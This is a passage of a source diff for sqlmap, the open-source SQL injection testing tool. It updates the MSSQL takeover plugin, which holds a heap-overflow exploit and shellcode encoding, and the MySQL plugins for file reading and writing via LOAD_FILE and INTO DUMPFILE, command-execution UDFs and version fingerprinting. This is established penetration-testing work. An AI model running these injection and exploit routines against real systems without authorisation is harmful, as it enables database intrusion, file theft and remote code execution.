sqlmapSyntaxException("Unenclosed ' in '%s'" % expression) - - lastIndex = firstIndex + index - old = "'%s'" % expression[firstIndex:lastIndex] - - unescaped = "+".join("%s(%d)" % ("CHAR" if ord(expression[i]) < 256 else "NCHAR", ord(expression[i])) for i in xrange(firstIndex, lastIndex)) - - expression = expression.replace(old, unescaped) - else: - expression = "+".join("CHAR(%d)" % ord(c) for c in expression) - - return expression - @staticmethod - def escape(expression): - while True: - index = expression.find("CHAR(") - if index == -1: - break - - firstIndex = index - index = expression[firstIndex:].find(")") - - if index == -1: - raise sqlmapSyntaxException("Unenclosed ) in '%s'" % expression) - - lastIndex = firstIndex + index + 1 - old = expression[firstIndex:lastIndex] - oldUpper = old.upper() - oldUpper = oldUpper.replace("CHAR(", "").replace(")", "") - - escaped = "'%s'" % chr(int(oldUpper)) - expression = expression.replace(old, escaped) - - expression = expression.replace("'+'", "") - return expression + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar" + True + >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+NCHAR(235)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar" + True + """ + + def escaper(value): + return "+".join("%s(%d)" % ("CHAR" if _ < 128 else "NCHAR", _) for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index 13d436dd809..53c1b078720 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -1,15 +1,17 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import binascii from lib.core.common import Backend +from lib.core.compat import xrange +from lib.core.convert import getBytes from lib.core.data import logger -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.takeover import Takeover as GenericTakeover @@ -20,32 +22,33 @@ def __init__(self): GenericTakeover.__init__(self) def uncPathRequest(self): - #inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) + # inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath) def spHeapOverflow(self): """ References: - * http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx - * http://support.microsoft.com/kb/959420 + * https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-004 + * https://support.microsoft.com/en-us/help/959420/ms09-004-vulnerabilities-in-microsoft-sql-server-could-allow-remote-co """ returns = { - # 2003 Service Pack 0 - "2003-0": (""), + # 2003 Service Pack 0 + "2003-0": (""), - # 2003 Service Pack 1 - "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ), + # 2003 Service Pack 1 + "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"), - # 2003 Service Pack 2 updated at 12/2008 - #"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ), + # 2003 Service Pack 2 updated at 12/2008 + # "2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"), - # 2003 Service Pack 2 updated at 05/2009 - "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)") + # 2003 Service Pack 2 updated at 05/2009 + "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"), + + # 2003 Service Pack 2 updated at 09/2009 + # "2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"), + } - # 2003 Service Pack 2 updated at 09/2009 - #"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"), - } addrs = None for versionSp, data in returns.items(): @@ -57,18 +60,18 @@ def spHeapOverflow(self): break - if addrs is None: + if not addrs: errMsg = "sqlmap can not exploit the stored procedure buffer " errMsg += "overflow because it does not have a valid return " errMsg += "code for the underlying operating system (Windows " errMsg += "%s Service Pack %d)" % (Backend.getOsVersion(), Backend.getOsServicePack()) - raise sqlmapUnsupportedFeatureException(errMsg) + raise SqlmapUnsupportedFeatureException(errMsg) shellcodeChar = "" - hexStr = binascii.hexlify(self.shellcodeString[:-1]) + hexStr = binascii.hexlify(getBytes(self.shellcodeString[:-1])) for hexPair in xrange(0, len(hexStr), 2): - shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2] + shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair + 2] shellcodeChar = shellcodeChar[:-1] diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py index 2455fd4d868..21e2f4550b0 100644 --- a/plugins/dbms/mysql/__init__.py +++ b/plugins/dbms/mysql/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -23,17 +23,13 @@ class MySQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Take def __init__(self): self.excludeDbsList = MYSQL_SYSTEM_DBS self.sysUdfs = { - # UDF name: UDF return data-type - "sys_exec": { "return": "int" }, - "sys_eval": { "return": "string" }, - "sys_bineval": { "return": "int" } - } + # UDF name: UDF return data-type + "sys_exec": {"return": "int"}, + "sys_eval": {"return": "string"}, + "sys_bineval": {"return": "int"} + } - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) - unescaper[DBMS.MYSQL] = Syntax.unescape + unescaper[DBMS.MYSQL] = Syntax.escape diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index 91bf5e3e50f..459ff23d5bc 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -1,50 +1,51 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: import pymysql -except ImportError, _: +except: pass +import logging +import struct +import sys + +from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ - Homepage: http://code.google.com/p/pymysql/ - User guide: http://code.google.com/p/pymysql/ - API: http://code.google.com/p/pymysql/ - Debian package: <none> + Homepage: https://github.com/PyMySQL/PyMySQL + User guide: https://pymysql.readthedocs.io/en/latest/ + Debian package: python3-pymysql License: MIT Possible connectors: http://wiki.python.org/moin/MySQL """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() try: - self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True) - except pymysql.OperationalError, msg: - raise sqlmapConnectionException, msg[1] + self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password.encode(sys.stdin.encoding), db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True) + except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError, struct.error) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) - self.setCursor() - self.connected() + self.initCursor() + self.printConnected() def fetchall(self): try: return self.cursor.fetchall() - except pymysql.ProgrammingError, msg: - logger.warn(msg[1]) + except pymysql.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): @@ -53,10 +54,10 @@ def execute(self, query): try: self.cursor.execute(query) retVal = True - except (pymysql.OperationalError, pymysql.ProgrammingError), msg: - logger.warn("(remote) %s" % msg[1]) - except pymysql.InternalError, msg: - raise sqlmapConnectionException, msg[1] + except (pymysql.OperationalError, pymysql.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except pymysql.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py index 2a92bc84c90..129b1e6106a 100644 --- a/plugins/dbms/mysql/enumeration.py +++ b/plugins/dbms/mysql/enumeration.py @@ -1,12 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) + pass diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 1c3467c074d..acde3cc35c9 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -1,54 +1,61 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.agent import agent +from lib.core.common import getSQLSnippet from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable +from lib.core.common import popValue +from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.decorators import stackedmethod from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.enums import PLACE -from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import SqlmapNoneDataException from lib.request import inject +from lib.request.connect import Connect as Request from lib.techniques.union.use import unionUse from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) + def nonStackedReadFile(self, rFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % rFile + logger.info(infoMsg) - def unionReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile - logger.info(infoMsg) - - result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile) + result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) return result - def stackedReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile - logger.info(infoMsg) + def stackedReadFile(self, remoteFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longtext") self.getRemoteTempPath() tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) - debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile + debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile debugMsg += "into temporary file '%s'" % tmpFile logger.debug(debugMsg) - inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile)) + inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile)) debugMsg = "loading the content of hexadecimal encoded file " - debugMsg += "'%s' into support table" % rFile + debugMsg += "'%s' into support table" % remoteFile logger.debug(debugMsg) inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) @@ -56,57 +63,89 @@ def stackedReadFile(self, rFile): if not isNumPosStrValue(length): warnMsg = "unable to retrieve the content of the " - warnMsg += "file '%s'" % rFile + warnMsg += "file '%s'" % remoteFile if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): - warnMsg += ", going to fall-back to simpler UNION technique" - logger.warn(warnMsg) - result = self.unionReadFile(rFile) + if not kb.bruteMode: + warnMsg += ", going to fall-back to simpler UNION technique" + logger.warning(warnMsg) + result = self.nonStackedReadFile(remoteFile) else: - raise sqlmapNoneDataException, warnMsg + raise SqlmapNoneDataException(warnMsg) else: length = int(length) - sustrLen = 1024 + chunkSize = 1024 - if length > sustrLen: + if length > chunkSize: result = [] - for i in xrange(1, length, sustrLen): - chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) - + for i in xrange(1, length, chunkSize): + chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) else: result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) return result - def unionWriteFile(self, wFile, dFile, fileType): + @stackedmethod + def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") - fcEncodedList = self.fileEncode(wFile, "hex", True) + fcEncodedList = self.fileEncode(localFile, "hex", True) fcEncodedStr = fcEncodedList[0] fcEncodedStrLen = len(fcEncodedStr) if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: - warnMsg = "the injection is on a GET parameter and the file " + warnMsg = "as the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" - logger.warn(warnMsg) + logger.warning(warnMsg) - debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) - sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile) + pushValue(kb.forceWhere) + kb.forceWhere = PAYLOAD.WHERE.NEGATIVE + sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile) unionUse(sqlQuery, unpack=False) - - self.askCheckWrittenFile(wFile, dFile, fileType) + kb.forceWhere = popValue() warnMsg = "expect junk characters inside the " warnMsg += "file as a leftover from UNION query" singleTimeWarnMessage(warnMsg) - def stackedWriteFile(self, wFile, dFile, fileType): + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) + + def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + logger.debug("encoding file to its hexadecimal string value") + + fcEncodedList = self.fileEncode(localFile, "hex", True) + fcEncodedStr = fcEncodedList[0][2:] + fcEncodedStrLen = len(fcEncodedStr) + + if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: + warnMsg = "the injection is on a GET parameter and the file " + warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen + warnMsg += "bytes, this might cause errors in the file " + warnMsg += "writing process" + logger.warning(warnMsg) + + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) + logger.debug(debugMsg) + + query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr) + query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) + payload = agent.payload(newValue=query) + Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) + + warnMsg = "expect junk characters inside the " + warnMsg += "file as a leftover from original query" + singleTimeWarnMessage(warnMsg) + + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) + + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): debugMsg = "creating a support table to write the hexadecimal " debugMsg += "encoded file to" logger.debug(debugMsg) @@ -114,7 +153,7 @@ def stackedWriteFile(self, wFile, dFile, fileType): self.createSupportTbl(self.fileTblName, self.tblField, "longblob") logger.debug("encoding file to its hexadecimal string value") - fcEncodedList = self.fileEncode(wFile, "hex", False) + fcEncodedList = self.fileEncode(localFile, "hex", False) debugMsg = "forging SQL statements to write the hexadecimal " debugMsg += "encoded file to the support table" @@ -124,13 +163,15 @@ def stackedWriteFile(self, wFile, dFile, fileType): logger.debug("inserting the hexadecimal encoded file to the support table") + inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230) + for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) - debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html - inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True) + inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True) - self.askCheckWrittenFile(wFile, dFile, fileType) + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 6c3ff0e3d69..1876779edef 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -1,24 +1,27 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format -from lib.core.common import getUnicode -from lib.core.common import randomInt +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite +from lib.core.compat import xrange +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import MYSQL_ALIASES -from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint @@ -26,82 +29,102 @@ class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MYSQL) - def __commentCheck(self): + def _commentCheck(self): infoMsg = "executing %s comment injection fingerprint" % DBMS.MYSQL logger.info(infoMsg) - randInt = randomInt() - result = inject.checkBooleanExpression("%d=%d/* NoValue */" % (randInt, randInt)) + result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/* NoValue */") if not result: warnMsg = "unable to perform %s comment injection" % DBMS.MYSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return None - # MySQL valid versions updated on 04/2011 + # Reference: https://downloads.mysql.com/archives/community/ + # Reference: https://dev.mysql.com/doc/relnotes/mysql/<major>.<minor>/en/ + versions = ( - (32200, 32235), # MySQL 3.22 - (32300, 32359), # MySQL 3.23 - (40000, 40032), # MySQL 4.0 - (40100, 40131), # MySQL 4.1 - (50000, 50092), # MySQL 5.0 - (50100, 50156), # MySQL 5.1 - (50400, 50404), # MySQL 5.4 - (50500, 50521), # MySQL 5.5 - (50600, 50604), # MySQL 5.6 - (60000, 60014), # MySQL 6.0 - ) - - index = -1 - for i in xrange(len(versions)): - element = versions[i] - version = element[0] - randInt = randomInt() - version = getUnicode(version) - result = inject.checkBooleanExpression("%d=%d/*!%s AND %d=%d*/" % (randInt, randInt, version, randInt, randInt + 1)) - - if result: - break - else: - index += 1 + (90300, 90302), # MySQL 9.3 + (90200, 90202), # MySQL 9.2 + (90100, 90102), # MySQL 9.1 + (90000, 90002), # MySQL 9.0 + (80400, 80406), # MySQL 8.4 + (80300, 80302), # MySQL 8.3 + (80200, 80202), # MySQL 8.2 + (80100, 80102), # MySQL 8.1 + (80000, 80043), # MySQL 8.0 + (60000, 60014), # MySQL 6.0 + (50700, 50745), # MySQL 5.7 + (50600, 50652), # MySQL 5.6 + (50500, 50563), # MySQL 5.5 + (50400, 50404), # MySQL 5.4 + (50100, 50174), # MySQL 5.1 + (50000, 50097), # MySQL 5.0 + (40100, 40131), # MySQL 4.1 + (40000, 40032), # MySQL 4.0 + (32300, 32359), # MySQL 3.23 + (32200, 32235), # MySQL 3.22 + ) + + found = False + for candidate in versions: + result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1]=[RANDNUM2]*/" % candidate[0]) - if index >= 0: - prevVer = None + if not result: + found = True + break - for version in xrange(versions[index][0], versions[index][1] + 1): - randInt = randomInt() + if found: + for version in xrange(candidate[1], candidate[0] - 1, -1): version = getUnicode(version) - result = inject.checkBooleanExpression("%d=%d/*!%s AND %d=%d*/" % (randInt, randInt, version, randInt, randInt + 1)) - - if result: - if not prevVer: - prevVer = version + result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) + if not result: if version[0] == "3": - midVer = prevVer[1:3] + midVer = version[1:3] else: - midVer = prevVer[2] + midVer = version[2] - trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) + trueVer = "%s.%s.%s" % (version[0], midVer, version[3:]) return trueVer - prevVer = version - return None def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'"): + fork = FORK.MARIADB + elif inject.checkBooleanExpression("VERSION() LIKE '%TiDB%'"): + fork = FORK.TIDB + elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%drizzle%'"): + fork = FORK.DRIZZLE + elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%Percona%'"): + fork = FORK.PERCONA + elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%Doris%'"): + fork = FORK.DORIS + elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%StarRocks%'"): + fork = FORK.STARROCKS + elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ + fork = FORK.AURORA + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) - if wsOsFp: + if wsOsFp and not conf.api: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) - if dbmsOsFp: + if dbmsOsFp and not conf.api: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " @@ -109,9 +132,11 @@ def getFingerprint(self): if not conf.extensiveFp: value += actVer + if fork: + value += " (%s fork)" % fork return value - comVer = self.__commentCheck() + comVer = self._commentCheck() blank = " " * 15 value += "active fingerprint: %s" % actVer @@ -120,19 +145,23 @@ def getFingerprint(self): value += "\n%scomment injection fingerprint: %s" % (blank, comVer) if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None + banVer = kb.bannerFp.get("dbmsVersion") - if re.search("-log$", kb.data.banner): - banVer += ", logging enabled" + if banVer: + if banVer and re.search(r"-log$", kb.data.banner or ""): + banVer += ", logging enabled" - banVer = Format.getDbms([banVer] if banVer else None) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): @@ -146,20 +175,11 @@ def checkDbms(self): * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ - if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \ - or conf.dbms in MYSQL_ALIASES) and Backend.getVersion() and \ - Backend.getVersion() != UNKNOWN_DBMS_VERSION: - v = Backend.getVersion().replace(">", "") - v = v.replace("=", "") - v = v.replace(" ", "") - - Backend.setVersion(v) - + if not conf.extensiveFp and Backend.isDbmsWithin(MYSQL_ALIASES): setDbms("%s %s" % 